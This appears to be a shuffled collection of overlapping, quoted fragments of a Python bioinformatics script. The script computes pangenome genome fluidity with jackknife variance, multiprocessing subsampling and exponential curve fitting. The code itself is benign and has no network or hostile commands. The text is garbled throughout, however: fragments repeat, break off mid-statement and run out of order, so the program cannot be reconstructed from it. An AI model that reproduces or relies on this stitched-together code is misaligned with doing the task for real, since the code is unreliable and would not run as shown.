subsample_multiprocess(N_combos) sub_fluid_dict[N].append(last_run) sub_fluid_dict[N]=list(flatten(sub_fluid_dict[N])) print(len(sub_fluid_dict[N])) return sub_fluid_dict def flatten(lis):", "for repeatable results result = differential_evolution(sumOfSquaredError, parameterBounds, args=(x_values,y_curve_values, func), seed=3)", "max used for bounds maxX = max(x_values) minX = min(x_values)", "import curve_fit, differential_evolution rundir = os.getcwd() class MyFormatter(argparse.RawTextHelpFormatter): def __init__(self,", "1]', metavar='' ) parser.add_argument( '-max_sub', '--max_subsamples', type=int, default=250000, help =", "a pangenome dataset. Variance and standard error are estimated as", "max num of genomes fluidity_i_list = [] for sample in", "(n-1) instead of full population variances. ''' sub_fluid_dict = {}", "*popt_b), facecolor='blue', alpha=0.6) top_curve = neg_exponential(x_labels, *popt_t) bottom_curve = exponential(x_labels,", "x_labels, stderr_top, geneticParameters_top, maxfev=10000) popt_b, pcov = curve_fit(exponential, x_labels, stderr_bottom,", "= unique_pair/all_pair return pair_dict def compute_fluidity_all_genomes(): ''' Computes the fluidity", "stderr_top, neg_exponential) popt_t, pcov = curve_fit(neg_exponential, x_labels, stderr_top, geneticParameters_top, maxfev=10000)", "MyFormatter) parser.add_argument( '-i', '--input', required = True, help = 'Orthogroups", "/ --max_subsamples flag or turned off with the --max_off flag.", "No orthogroups file was provided please provide on, -i or", "variance containing both the variance due to subsampling all possible", "print(len(sub_fluid_dict[N])) return sub_fluid_dict def flatten(lis): for item in lis: if", "''' Takes portions of the full combo_list and runs them", "sorted(infile)] for line in ortho_list: iso_list = [] if ':'", "pan_variance) total_variance = np.array(total_variance) total_stderr = np.array([x**(1/2) for x in", "= True, help = 'Orthogroups file, see format in READ.me',", "isolates are not present unique_pair = cogs['Uk'] + cogs['Ul'] all_pair", "or --input') sys.exit() if args.prefix: fluid_results = os.path.abspath(os.path.join(result_dir, args.prefix+'_fluidity.txt')) fluid_fig", "color='black') # plot y-values of fluidity plt.xticks(np.arange(x_labels[0], x_labels[len(x_labels)-1]+1, 1.0)) #", "with a exponential regression fit. Notes 1. This will only", "np.array(total_variance) total_stderr = np.array([x**(1/2) for x in total_variance]) y_fluidity_values =", "to N randomly sampled genomes (N is the max number", "genomes and the variance due to the limited number of", "'for N genomes', ) parser.add_argument( '-p', '--prefix', help = 'Prefix", "return ortho_isolates_dict def create_pair_dictionary(ortho_dictionary): '''Create all possible unique pairs of", "parameterBounds, args=(x_values,y_curve_values, func), seed=3) return result.x def create_fluidity_results(figure_output, results_output): total_variance", "as results: # print out fluidity results results.write('Genomes_Sampled\\tFluidity\\tTotal_Variance\\tTotal_Stderr\\tExponential_top\\tExponential_bottom\\n') r_out =", "for k,v in ortho_dictionary.items(): if pair[0] in v and pair[1]", "subsample_multiprocess(N_combos) sub_fluid_dict[N].append(last_run) sub_fluid_dict[N]=list(flatten(sub_fluid_dict[N])) print(len(sub_fluid_dict[N])) return sub_fluid_dict def flatten(lis): for item", "ortho_dict = create_ortho_dictionary(input_file) iso_num = max([len(v) for v in ortho_dict.values()])", "os.path.abspath(os.path.join(result_dir, 'Pangenome_fluidity.png')) def create_ortho_dictionary(ortho_file): # create dictionary of gene clusters", "pairs of isolates and get their unique sum gene clusters.'''", "v in total_stderr]) fig, ax = plt.subplots() try: # Still", "Notes 1. This will only work if you have at", "= pan_results[0] pan_variance = pan_results[1] permutation_list = [] sub_fluid_dict =", "on N genomes sampled. [default: 250000]', metavar='' ) parser.add_argument( '--max_off',", "exponential(x_labels, *popt_t), exponential(x_labels, *popt_b), facecolor='blue', alpha=0.6) top_curve = exponential(x_labels, *popt_t)", "genes = line.split(':') elif '\\t' in line: cluster, genes =", "b, c): return a * np.exp(b * x) + c", "range(3, iso_num + 1): sub_fluid_dict[N] = [] N_combos = list(combinations(iso_list,", "v and pair[1] not in v: cogs['Uk'] += 1 elif", "{} genomes'.format(len(combos),N)) if not len(N_combos) == 1: chunk = round(len(combos)/args.cpus)", "max number of subsamples set to 250,000 for each N", "if not pair in pair_dict.keys(): cogs = {'Shared' : 0,", "create_ortho_dictionary(ortho_file): # create dictionary of gene clusters and isolates per", "((N-1)/N)*sum([(i-fluidity_i_mean)**2 for i in fluidity_i_list]) # calculate variance return pangenome_fluidity,", "min_y = min(stderr_bottom) plt.ylim((min_y - min_y*0.15), (max_y + max_y*0.15)) plt.xlabel('Number", "pcov = curve_fit(neg_exponential, x_labels, stderr_bottom, geneticParameters_bottom, maxfev=10000) plt.fill_between(x_labels, exponential(x_labels, *popt_t),", "jack_samples: jack_pairs = tuple(combinations(sample,2)) # get all pairs from current", "'--prefix', help = 'Prefix to append to the result files", "pan_results = compute_fluidity_all_genomes() pan_fluidity = pan_results[0] pan_variance = pan_results[1] permutation_list", "r_out: results.write('\\t'.join(line) + '\\n') if __name__ == \"__main__\": ortho_dict =", "fluidity_i_list = [] for sample in jack_samples: jack_pairs = tuple(combinations(sample,2))", "= N_combos print('Performing fluidity calculations on {} subsample combinations of", "seed=3) return result.x def create_fluidity_results(figure_output, results_output): total_variance = [] for", "sample variances (n-1) instead of full population variances. ''' sub_fluid_dict", "[pair_dict[tuple(sorted(p))] for p in pairs] sample_fluidity = (2/(N*(N-1)))*sum(pair_fluidity_list) sample_process_list.append(sample_fluidity) return", "p in jack_pairs] # get ratios from pair_dict fluidity_i =", ": 0} for k,v in ortho_dictionary.items(): if pair[0] in v", "+ 1)]) stderr_bottom = np.array([(pan_fluidity - v) for v in", "iso_list = list(set(itertools.chain.from_iterable([v for v in ortho_dict.values() if len(v) ==", "stderr_bottom, geneticParameters_bottom, maxfev=10000) if len(set(exponential(x_labels, *popt_t))) > 3 and len(set(exponential(x_labels,", "[ratio for ratio in pair_dict.values()] # list of ratios pangenome_fluidity", "np import pandas as pd import matplotlib.pyplot as plt from", "fluid_results = os.path.abspath(os.path.join(result_dir, args.prefix+'_fluidity.txt')) fluid_fig = os.path.abspath(os.path.join(result_dir, args.prefix+'_fluidity.png')) else: fluid_results", "orthogroups file was provided please provide on, -i or --input')", "combos = N_combos print('Performing fluidity calculations on {} subsample combinations", "put forth in Kislyuk et al. (2011) to calculate genome", "in jack_samples: jack_pairs = tuple(combinations(sample,2)) # get all pairs from", "def genome_subsamples_fluidities(perm_list): ''' Compute fluidities from all possible combinations of", "pan_results[0] pan_variance = pan_results[1] permutation_list = [] sub_fluid_dict = genome_subsamples_fluidities(permutation_list)", "and pair[1] in v: cogs['Ul'] += 1 else: pass #", "len(set(exponential(x_labels, *popt_b))) <= 3: geneticParameters_bottom = generate_Initial_Parameters(x_labels, stderr_bottom, neg_exponential) popt_b,", "x_labels, stderr_top, geneticParameters_top, maxfev=10000) plt.fill_between(x_labels, neg_exponential(x_labels, *popt_t), exponential(x_labels, *popt_b), facecolor='blue',", "stderr_top, exponential) geneticParameters_bottom = generate_Initial_Parameters(x_labels, stderr_bottom, exponential) popt_t, pcov =", "in range(0, len(iso_list)): for x in range(0, len(iso_list)): if not", "def flatten(lis): for item in lis: if isinstance(item, Iterable) and", "are not present unique_pair = cogs['Uk'] + cogs['Ul'] all_pair =", "parameterBounds = [] parameterBounds.append([-maxXY, maxXY]) # seach bounds for a", "if len(set(exponential(x_labels, *popt_b))) <= 3: geneticParameters_bottom = generate_Initial_Parameters(x_labels, stderr_bottom, neg_exponential)", "fluidity with shaded regions showing total standard error with a", "1 elif pair[0] not in v and pair[1] in v:", "item in sorted(infile)] for line in ortho_list: iso_list = []", "the pangenome)(Kislyuk et al. 2011). However, the script has a", "of isolates represented in cluster} with open(ortho_file, 'r') as infile:", "to count a cluster if both isolates are not present", "* x) + c def sumOfSquaredError(parameterTuple, x_values, y_curve_values, func): warnings.filterwarnings(\"ignore\")", "range(3, iso_num + 1): if i in permutation_list: total_variance.append(np.var(sub_fluid_dict[i], ddof", "max number of gneomes in sample, so only sampled once).", "import Pool from itertools import combinations from collections import OrderedDict", "'--input', required = True, help = 'Orthogroups file, see format", "= line.split(':') elif '\\t' in line: cluster, genes = line.split('\\t',", "create_ortho_dictionary(input_file) iso_num = max([len(v) for v in ortho_dict.values()]) iso_list =", "subprocess import numpy as np import pandas as pd import", "cogs['Ul'] all_pair = (cogs['Uk'] + cogs['Shared']) + (cogs['Ul'] + cogs['Shared'])", "plt.tight_layout() plt.savefig(figure_output) with open(results_output, 'w') as results: # print out", "fluidity calculations on {} subsample combinations of {} genomes'.format(len(combos),N)) if", "This script follows formulas put forth in Kislyuk et al.", "usage='./%(prog)s [options] -i orthogroups -o output_folder', description = ''' Performs", "= min(x_values) maxY = max(y_curve_values) minY = min(y_curve_values) maxXY =", "2011). However, the script has a default max number of", "(such as Genus, species, etc.)', metavar='' ) args=parser.parse_args() if not", "= ((N-1)/N)*sum([(i-fluidity_i_mean)**2 for i in fluidity_i_list]) # calculate variance return", "figure of pangenome fluidity with shaded regions showing total standard", "def neg_exponential(x, a, b, c): return a * np.exp(-b *", "line in ortho_list: iso_list = [] if ':' in line:", "the total pool of genomes and the variance due to", "format in READ.me', metavar='' ) parser.add_argument( '-o', '--out', required =", "lis: if isinstance(item, Iterable) and not isinstance(item, str): for x", "number of subsamples set to 250,000 for each N genomes.", "variance due to subsampling all possible combinations (without replacement) of", "{(Isolate1, Isolate2) : [ratio of sum(unique clusters)/sum(all clusters)]} for i", "= compute_fluidity_all_genomes() pan_fluidity = pan_results[0] pan_variance = pan_results[1] permutation_list =", "- 1). Results are a text file of fluidity, variance,", "a * np.exp(b * x) + c def neg_exponential(x, a,", "iso_list.append(isolate) ortho_isolates_dict[cluster] = list(set(iso_list)) return ortho_isolates_dict def create_pair_dictionary(ortho_dictionary): '''Create all", "def create_pair_dictionary(ortho_dictionary): '''Create all possible unique pairs of isolates and", "= len(combo_list[0]) # get N from number of genomes present", "= np.array([i for i in range(3, iso_num + 1)]) stderr_bottom", "cluster, genes = line.split(':') elif '\\t' in line: cluster, genes", "gene clusters and isolates per cluster '''Genereate dictionary of Orthogroups.'''", "np.array([(pan_fluidity - v) for v in total_stderr]) stderr_top = np.array([(pan_fluidity", "= 'Output folder', metavar='' ) parser.add_argument( '-c', '--cpus', type=int, default=1,", "iso_num + 1): sub_fluid_dict[N] = [] N_combos = list(combinations(iso_list, N))", "parser = argparse.ArgumentParser( usage='./%(prog)s [options] -i orthogroups -o output_folder', description", "repeatable results result = differential_evolution(sumOfSquaredError, parameterBounds, args=(x_values,y_curve_values, func), seed=3) return", "in Kislyuk et al. (2011) to calculate genome fluidity of", "c): return a * np.exp(-b * x) + c def", "{'Shared' : 0, 'Uk' : 0, 'Ul' : 0} for", "ax.xaxis.grid(True, linestyle='-', linewidth='1', which='major', color='white', alpha=0.5) ax.tick_params(axis='x', which='minor', bottom=False) ax.set_facecolor('gainsboro')", "import matplotlib.pyplot as plt from multiprocessing import Pool from itertools", "= tuple(combinations(sample,2)) # get all pairs from current jackknife sample", "parser.add_argument( '-max_sub', '--max_subsamples', type=int, default=250000, help = 'Max number of", "alpha=0.6) top_curve = exponential(x_labels, *popt_t) bottom_curve = exponential(x_labels, *popt_b) if", ": 0, 'Uk' : 0, 'Ul' : 0} for k,v", "= exponential(x_labels, *popt_b) else: pass if len(set(exponential(x_labels, *popt_b))) <= 3:", "need to count a cluster if both isolates are not", "results_output): total_variance = [] for i in range(3, iso_num +", "in range(3, iso_num + 1): if i in permutation_list: total_variance.append(np.var(sub_fluid_dict[i],", "genomes. This can be altered with the -max_sub / --max_subsamples", "subsample combinations of {} genomes'.format(len(combos),N)) if not len(N_combos) == 1:", "*popt_b) else: pass except: pass ax.set_axisbelow(True) plt.minorticks_on() plt.grid(which='minor', axis='y', color='white',", ") parser.add_argument( '-o', '--out', required = True, help = 'Output", "args.max_subsamples: combos = random.choices(N_combos, k=args.max_subsamples) perm_list.append(N) else: combos = N_combos", "args=parser.parse_args() if not os.path.isdir(args.out): os.makedirs(os.path.join(args.out)) result_dir = os.path.abspath(os.path.join(rundir, args.out)) if", "in pair_dict.values()] # list of ratios pangenome_fluidity = (2/(N*(N-1)))*sum(fluidity_list) #", "If you have 5 isolates your graph will probably not", "help = 'Orthogroups file, see format in READ.me', metavar='' )", "= 1 (i.e. n - 1). Results are a text", "for v in ortho_dict.values()]) iso_list = list(set(itertools.chain.from_iterable([v for v in", "color='white', alpha=0.5) ax.tick_params(axis='x', which='minor', bottom=False) ax.set_facecolor('gainsboro') plt.plot(x_labels, y_fluidity_values, ls='--', lw=1,", "cause the script sample ALL possible combinations'\\ 'for N genomes',", "in range(3, iso_num + 1): sub_fluid_dict[N] = [] N_combos =", "str(top_curve[i]), str(bottom_curve[i])]) for line in r_out: results.write('\\t'.join(line) + '\\n') if", "only sampled once). Has a cut off of max subsamples", "scipy, warnings, subprocess import numpy as np import pandas as", "unique pairs of isolates and get their unique sum gene", "maxfev=10000) popt_b, pcov = curve_fit(exponential, x_labels, stderr_bottom, geneticParameters_bottom, maxfev=10000) if", "* np.exp(-b * x) + c def sumOfSquaredError(parameterTuple, x_values, y_curve_values,", "N = iso_num fluidity_list = [ratio for ratio in pair_dict.values()]", "combinations of genomes from 3 to N randomly sampled genomes", "subsamples. This will cause the script sample ALL possible combinations'\\", "result.x def create_fluidity_results(figure_output, results_output): total_variance = [] for i in", "+= 1 elif pair[0] not in v and pair[1] in", "in v and pair[1] in v: cogs['Shared'] += 1 elif", "exponential(x_labels, *popt_b) else: pass if len(set(exponential(x_labels, *popt_b))) <= 3: geneticParameters_bottom", "faster processing. Calcualtes fluidity for each sample and returns list", "', 1) for match in re.finditer(r'([^\\s]+)', genes): isolate = match.group(0).split('_')[0]", "al. (2011) to calculate genome fluidity of a pangenome dataset.", "N genomes that were stopped at the max number of", "least 5 isolates to make up your pangenome. 2. If", "metavar='' ) parser.add_argument( '-c', '--cpus', type=int, default=1, help = 'Number", "were stopped at the max number of subsamples the subsamples", "for i in range(0, iso_num-2): r_out.append([str(i+3), str(pan_fluidity), str(total_variance[i]), str(total_stderr[i]), str(top_curve[i]),", "the max number of gneomes in sample, so only sampled", "iso_num + 1): if i in permutation_list: total_variance.append(np.var(sub_fluid_dict[i], ddof =", "Iterable) and not isinstance(item, str): for x in flatten(item): yield", "it starts with 3 at 0 max_y = max(stderr_top) min_y", "metavar='' ) parser.add_argument( '-o', '--out', required = True, help =", "fluidity and variance for the pangenome in question from the", "flag. Turning the max_off will force calculations to be done", "= (2/(N*(N-1)))*sum(fluidity_list) # get fluidity from average of all ratios", "import Iterable from scipy.optimize import curve_fit, differential_evolution rundir = os.getcwd()", "fluidity_i's fluidity_variance = ((N-1)/N)*sum([(i-fluidity_i_mean)**2 for i in fluidity_i_list]) # calculate", "cogs['Ul'] += 1 else: pass # don't need to count", "total_variance = [] for i in range(3, iso_num + 1):", "script follows formulas put forth in Kislyuk et al. (2011)", "'Turn off the max subsamples. This will cause the script", "calculate fluidity_i fluidity_i_list.append(fluidity_i) fluidity_i_mean = np.mean(fluidity_i_list) # calculate fluidity_i_mean from", "which='minor', bottom=False) ax.set_facecolor('gainsboro') plt.plot(x_labels, y_fluidity_values, ls='--', lw=1, color='black') # plot", "sampled. [default: 250000]', metavar='' ) parser.add_argument( '--max_off', action='store_true', help =", "# calculate variance return pangenome_fluidity, fluidity_variance def subsample_multiprocess(combo_list): ''' Takes", "flatten(lis): for item in lis: if isinstance(item, Iterable) and not", "fluidity from a pangenome dataset (orthogroups).''', epilog = \"\"\"Written by", "help = 'Number of cores to use for multiprocessing [default:", "sampled : [list of fluidities from subsamples]} for N in", "a parameterBounds.append([-maxXY, maxXY]) # seach bounds for b parameterBounds.append([-maxXY, maxXY])", "replacement and variance is calculated with a degree of freedom", "of gneomes in sample, so only sampled once). Has a", "y_curve_values, func): # min and max used for bounds maxX", "in sorted(infile)] for line in ortho_list: iso_list = [] if", "default=250000, help = 'Max number of subsamples to run on", "stderr_top, geneticParameters_top, maxfev=10000) popt_b, pcov = curve_fit(exponential, x_labels, stderr_bottom, geneticParameters_bottom,", "fluidity_i_mean = np.mean(fluidity_i_list) # calculate fluidity_i_mean from all fluidity_i's fluidity_variance", "subsampling all possible combinations (without replacement) of N genomes from", "Iterable from scipy.optimize import curve_fit, differential_evolution rundir = os.getcwd() class", "True, help = 'Orthogroups file, see format in READ.me', metavar=''", "with 3 at 0 max_y = max(stderr_top) min_y = min(stderr_bottom)", "problems sometimes with fitting curves, this solution works best for", "a, b, c): return a * np.exp(b * x) +", "calculate fluidity_i_mean from all fluidity_i's fluidity_variance = ((N-1)/N)*sum([(i-fluidity_i_mean)**2 for i", "N_combos print('Performing fluidity calculations on {} subsample combinations of {}", "pass except: pass ax.set_axisbelow(True) plt.minorticks_on() plt.grid(which='minor', axis='y', color='white', linestyle='--', alpha=0.3)", "subsample_multiprocess(combo_list): ''' Takes portions of the full combo_list and runs", "if len(N_combos) > args.max_subsamples: combos = random.choices(N_combos, k=args.max_subsamples) perm_list.append(N) else:", "for v in ortho_dict.values() if len(v) == iso_num]))) pair_dict =", "in v: cogs['Uk'] += 1 elif pair[0] not in v", "bounds maxX = max(x_values) minX = min(x_values) maxY = max(y_curve_values)", "max(stderr_top) min_y = min(stderr_bottom) plt.ylim((min_y - min_y*0.15), (max_y + max_y*0.15))", "1)]) stderr_bottom = np.array([(pan_fluidity - v) for v in total_stderr])", "x) + c def neg_exponential(x, a, b, c): return a", "len(set(exponential(x_labels, *popt_b))) > 3: plt.fill_between(x_labels, exponential(x_labels, *popt_t), exponential(x_labels, *popt_b), facecolor='blue',", "dictionary of Orthogroups.''' print('Creating ortholog dictionary') ortho_isolates_dict = OrderedDict() #", "np.exp(b * x) + c def neg_exponential(x, a, b, c):", "make sure x interval is 1 plt.xlim(x_labels[0], x_labels[len(x_labels)-1]) # adjust", "N_combos else: if len(N_combos) > args.max_subsamples: combos = random.choices(N_combos, k=args.max_subsamples)", "off with the --max_off flag. Turning the max_off will force", "= generate_Initial_Parameters(x_labels, stderr_bottom, neg_exponential) popt_b, pcov = curve_fit(neg_exponential, x_labels, stderr_bottom,", "genomes fluidity_i_list = [] for sample in jack_samples: jack_pairs =", "total variance containing both the variance due to subsampling all", "both isolates are not present unique_pair = cogs['Uk'] + cogs['Ul']", "pool = Pool(processes=args.cpus) results = pool.imap(subsample_multiprocess, split_combos) pool.close() pool.join() sub_fluid_dict[N].append(results)", "'--max_off', action='store_true', help = 'Turn off the max subsamples. This", "is 1 plt.xlim(x_labels[0], x_labels[len(x_labels)-1]) # adjust x limit so it", "to calculate genome fluidity of a pangenome dataset. Variance and", "0, 'Ul' : 0} for k,v in ortho_dictionary.items(): if pair[0]", "if not len(N_combos) == 1: chunk = round(len(combos)/args.cpus) split_combos =", "color='white', linestyle='--', alpha=0.3) ax.yaxis.grid(True, linestyle='-', linewidth='1', which='major', color='white') ax.xaxis.grid(True, linestyle='-',", "replacement) of N genomes from the total pool of genomes", "= create_ortho_dictionary(input_file) iso_num = max([len(v) for v in ortho_dict.values()]) iso_list", "to the limited number of sampled genomes (variance of the", "default=1, help = 'Number of cores to use for multiprocessing", "= plt.subplots() try: # Still had problems sometimes with fitting", "al. 2011). However, the script has a default max number", "def __init__(self, prog): super(MyFormatter, self).__init__(prog, max_help_position=48) parser = argparse.ArgumentParser( usage='./%(prog)s", "= [] N_combos = list(combinations(iso_list, N)) if args.max_off: combos =", "count a cluster if both isolates are not present unique_pair", "sub_fluid_dict[N] = [] N_combos = list(combinations(iso_list, N)) if args.max_off: combos", "in ortho_dict.values()]) iso_list = list(set(itertools.chain.from_iterable([v for v in ortho_dict.values() if", "max([len(v) for v in ortho_dict.values()]) iso_list = list(set(itertools.chain.from_iterable([v for v", "the result files (such as Genus, species, etc.)', metavar='' )", "sys.exit() if args.prefix: fluid_results = os.path.abspath(os.path.join(result_dir, args.prefix+'_fluidity.txt')) fluid_fig = os.path.abspath(os.path.join(result_dir,", "tuple(combinations(sample,2)) # get all pairs from current jackknife sample jack_sample_fluidity", "x else: yield item def exponential(x, a, b, c): return", "pair in pair_dict.keys(): cogs = {'Shared' : 0, 'Uk' :", "max subsamples at which point variances are calcualted as sample", "match in re.finditer(r'([^\\s]+)', genes): isolate = match.group(0).split('_')[0] iso_list.append(isolate) ortho_isolates_dict[cluster] =", "seach bounds for c # \"seed\" the numpy random number", "max_y*0.15)) plt.xlabel('Number of genomes sampled') plt.ylabel('Fluidity, '+u'\\u03C6') plt.tight_layout() plt.savefig(figure_output) with", "in v: cogs['Shared'] += 1 elif pair[0] in v and", "cluster, genes = line.split(' ', 1) for match in re.finditer(r'([^\\s]+)',", "file, see format in READ.me', metavar='' ) parser.add_argument( '-o', '--out',", "sumOfSquaredError(parameterTuple, x_values, y_curve_values, func): warnings.filterwarnings(\"ignore\") # do not print warnings", "possible combinations (without replacement) of N genomes from the total", "error with a exponential regression fit. Notes 1. This will", "to subsampling all possible combinations (without replacement) of N genomes", "in combo_list: pairs = tuple(combinations(sample,2)) pair_fluidity_list = [pair_dict[tuple(sorted(p))] for p", "pd import matplotlib.pyplot as plt from multiprocessing import Pool from", "itertools import combinations from collections import OrderedDict from collections.abc import", "isolates represented in cluster} with open(ortho_file, 'r') as infile: ortho_list", "np.array([pan_fluidity for i in range(3, iso_num + 1)]) x_labels =", "gene clusters.''' print('Creating dictionary of paired ratio values') pair_dict =", "*popt_b), facecolor='blue', alpha=0.6) top_curve = exponential(x_labels, *popt_t) bottom_curve = neg_exponential(x_labels,", "at which point variances are calcualted as sample variances (n-1)", "ortho_list: iso_list = [] if ':' in line: cluster, genes", "ortho_isolates_dict def create_pair_dictionary(ortho_dictionary): '''Create all possible unique pairs of isolates", "done on all possible subsample combinations of N genomes. For", "np.exp(-b * x) + c def sumOfSquaredError(parameterTuple, x_values, y_curve_values, func):", "of fluidities from subsamples]} for N in range(3, iso_num +", "pair_dict = {} # {(Isolate1, Isolate2) : [ratio of sum(unique", "N in range(3, iso_num + 1): sub_fluid_dict[N] = [] N_combos", "b parameterBounds.append([-maxXY, maxXY]) # seach bounds for c # \"seed\"", "plt.xlabel('Number of genomes sampled') plt.ylabel('Fluidity, '+u'\\u03C6') plt.tight_layout() plt.savefig(figure_output) with open(results_output,", "formulas put forth in Kislyuk et al. (2011) to calculate", "of samples. ''' import os, sys, re, argparse, random, itertools,", "for item in sorted(infile)] for line in ortho_list: iso_list =", "from collections import OrderedDict from collections.abc import Iterable from scipy.optimize", "parser.add_argument( '-i', '--input', required = True, help = 'Orthogroups file,", "cluster, genes = line.split('\\t', 1) else: cluster, genes = line.split('", "= (2/(N*(N-1)))*sum(pair_fluidity_list) sample_process_list.append(sample_fluidity) return sample_process_list def genome_subsamples_fluidities(perm_list): ''' Compute fluidities", "prog): super(MyFormatter, self).__init__(prog, max_help_position=48) parser = argparse.ArgumentParser( usage='./%(prog)s [options] -i", "metavar='' ) parser.add_argument( '--max_off', action='store_true', help = 'Turn off the", "= os.path.abspath(args.input) else: print('ERROR: No orthogroups file was provided please", "bottom_curve = exponential(x_labels, *popt_b) else: pass if len(set(exponential(x_labels, *popt_b))) <=", "range(3, iso_num + 1)]) x_labels = np.array([i for i in", "split_combos = [combos[i:i + chunk] for i in range(0, len(combos),", "flag or turned off with the --max_off flag. Turning the", "multiple bootstraps and calculates genome fluidity from a pangenome dataset", "number generator for repeatable results result = differential_evolution(sumOfSquaredError, parameterBounds, args=(x_values,y_curve_values,", "y_curve_values, func): warnings.filterwarnings(\"ignore\") # do not print warnings by genetic", "help = 'Max number of subsamples to run on N", "of a pangenome dataset. Variance and standard error are estimated", "N genomes. This can be altered with the -max_sub /", "c def neg_exponential(x, a, b, c): return a * np.exp(-b", "each N genomes. This can be altered with the -max_sub", "bounds for b parameterBounds.append([-maxXY, maxXY]) # seach bounds for c", "full combo_list and runs them on separate threads for faster", "subsamples at which point variances are calcualted as sample variances", "so it starts with 3 at 0 max_y = max(stderr_top)", "open(results_output, 'w') as results: # print out fluidity results results.write('Genomes_Sampled\\tFluidity\\tTotal_Variance\\tTotal_Stderr\\tExponential_top\\tExponential_bottom\\n')", "of the full combo_list and runs them on separate threads", "# min and max used for bounds maxX = max(x_values)", "color='white') ax.xaxis.grid(True, linestyle='-', linewidth='1', which='major', color='white', alpha=0.5) ax.tick_params(axis='x', which='minor', bottom=False)", "from collections.abc import Iterable from scipy.optimize import curve_fit, differential_evolution rundir", "metavar='' ) args=parser.parse_args() if not os.path.isdir(args.out): os.makedirs(os.path.join(args.out)) result_dir = os.path.abspath(os.path.join(rundir,", "are estimated as total variance containing both the variance due", "from max num of genomes fluidity_i_list = [] for sample", "pair_dict.keys(): cogs = {'Shared' : 0, 'Uk' : 0, 'Ul'", "ratio values') pair_dict = {} # {(Isolate1, Isolate2) : [ratio", "exponential(x_labels, *popt_t) bottom_curve = neg_exponential(x_labels, *popt_b) else: pass except: pass", "with the --max_off flag. Turning the max_off will force calculations", "return pangenome_fluidity, fluidity_variance def subsample_multiprocess(combo_list): ''' Takes portions of the", "fluidity_variance = ((N-1)/N)*sum([(i-fluidity_i_mean)**2 for i in fluidity_i_list]) # calculate variance", "sub_fluid_dict[N].append(results) else: last_run = subsample_multiprocess(N_combos) sub_fluid_dict[N].append(last_run) sub_fluid_dict[N]=list(flatten(sub_fluid_dict[N])) print(len(sub_fluid_dict[N])) return sub_fluid_dict", "geneticParameters_top = generate_Initial_Parameters(x_labels, stderr_top, neg_exponential) popt_t, pcov = curve_fit(neg_exponential, x_labels,", ") parser.add_argument( '-p', '--prefix', help = 'Prefix to append to", "genomes from 3 to N randomly sampled genomes (N is", "# don't need to count a cluster if both isolates", "script has a default max number of subsamples set to", "are a text file of fluidity, variance, and standard error", "'Orthogroups file, see format in READ.me', metavar='' ) parser.add_argument( '-o',", "warnings, subprocess import numpy as np import pandas as pd", "'Max number of subsamples to run on N genomes sampled.", "== \"__main__\": ortho_dict = create_ortho_dictionary(input_file) iso_num = max([len(v) for v", "range(3, iso_num + 1)]) stderr_bottom = np.array([(pan_fluidity - v) for", "instead of full population variances. ''' sub_fluid_dict = {} #", "# seach bounds for b parameterBounds.append([-maxXY, maxXY]) # seach bounds", "number of genomes present sample_process_list = [] for sample in", "top_curve = exponential(x_labels, *popt_t) bottom_curve = neg_exponential(x_labels, *popt_b) else: pass", "genomes'.format(len(combos),N)) if not len(N_combos) == 1: chunk = round(len(combos)/args.cpus) split_combos", "= os.path.abspath(os.path.join(result_dir, 'Pangenome_fluidity.txt')) fluid_fig = os.path.abspath(os.path.join(result_dir, 'Pangenome_fluidity.png')) def create_ortho_dictionary(ortho_file): #", "compute_fluidity_all_genomes(): ''' Computes the fluidity and variance for the pangenome", "= curve_fit(exponential, x_labels, stderr_bottom, geneticParameters_bottom, maxfev=10000) if len(set(exponential(x_labels, *popt_t))) >", "exponential(x, a, b, c): return a * np.exp(b * x)", "of paired ratio values') pair_dict = {} # {(Isolate1, Isolate2)", "str): for x in flatten(item): yield x else: yield item", "str(total_stderr[i]), str(top_curve[i]), str(bottom_curve[i])]) for line in r_out: results.write('\\t'.join(line) + '\\n')", "(2/((N-1)*(N-2)))*sum(jack_sample_fluidity) # calculate fluidity_i fluidity_i_list.append(fluidity_i) fluidity_i_mean = np.mean(fluidity_i_list) # calculate", "of Orthogroups.''' print('Creating ortholog dictionary') ortho_isolates_dict = OrderedDict() # {Protein", "True, help = 'Output folder', metavar='' ) parser.add_argument( '-c', '--cpus',", "and pair[1] not in v: cogs['Uk'] += 1 elif pair[0]", "variance for the pangenome in question from the max number", "len(iso_list)): for x in range(0, len(iso_list)): if not iso_list[i] ==", "c): return a * np.exp(b * x) + c def", "sample, so only sampled once). Has a cut off of", "of freedom = 1 (i.e. n - 1). Results are", "= max([len(v) for v in ortho_dict.values()]) iso_list = list(set(itertools.chain.from_iterable([v for", "in range(0, len(iso_list)): if not iso_list[i] == iso_list[x]: pair =", "list of all combos of N-1 from max num of", "of N genomes that were stopped at the max number", "fluidity from average of all ratios jack_samples = list(combinations(iso_list, N", "os.makedirs(os.path.join(args.out)) result_dir = os.path.abspath(os.path.join(rundir, args.out)) if args.input: input_file = os.path.abspath(args.input)", "v in ortho_dict.values() if len(v) == iso_num]))) pair_dict = create_pair_dictionary(ortho_dict)", "b, c): return a * np.exp(-b * x) + c", "N genomes sampled. [default: 250000]', metavar='' ) parser.add_argument( '--max_off', action='store_true',", "sampled') plt.ylabel('Fluidity, '+u'\\u03C6') plt.tight_layout() plt.savefig(figure_output) with open(results_output, 'w') as results:", "genomes that were stopped at the max number of subsamples", "used for bounds maxX = max(x_values) minX = min(x_values) maxY", "1: chunk = round(len(combos)/args.cpus) split_combos = [combos[i:i + chunk] for", "not isinstance(item, str): for x in flatten(item): yield x else:", "item in lis: if isinstance(item, Iterable) and not isinstance(item, str):", "separate threads for faster processing. Calcualtes fluidity for each sample", "in line: cluster, genes = line.split('\\t', 1) else: cluster, genes", "*popt_b) else: pass if len(set(exponential(x_labels, *popt_b))) <= 3: geneticParameters_bottom =", "250,000 for each N genomes. This can be altered with", "to fit with such a low number of samples. '''", "250000]', metavar='' ) parser.add_argument( '--max_off', action='store_true', help = 'Turn off", "5 isolates your graph will probably not look pretty as", "*popt_t) bottom_curve = exponential(x_labels, *popt_b) if len(set(exponential(x_labels, *popt_t))) <= 3:", "of genomes present sample_process_list = [] for sample in combo_list:", "of all ratios jack_samples = list(combinations(iso_list, N - 1)) #", "list(set(iso_list)) return ortho_isolates_dict def create_pair_dictionary(ortho_dictionary): '''Create all possible unique pairs", "list of isolates represented in cluster} with open(ortho_file, 'r') as", "# \"seed\" the numpy random number generator for repeatable results", "threads for faster processing. Calcualtes fluidity for each sample and", "now geneticParameters_top = generate_Initial_Parameters(x_labels, stderr_top, exponential) geneticParameters_bottom = generate_Initial_Parameters(x_labels, stderr_bottom,", "returns list of fluidities. ''' N = 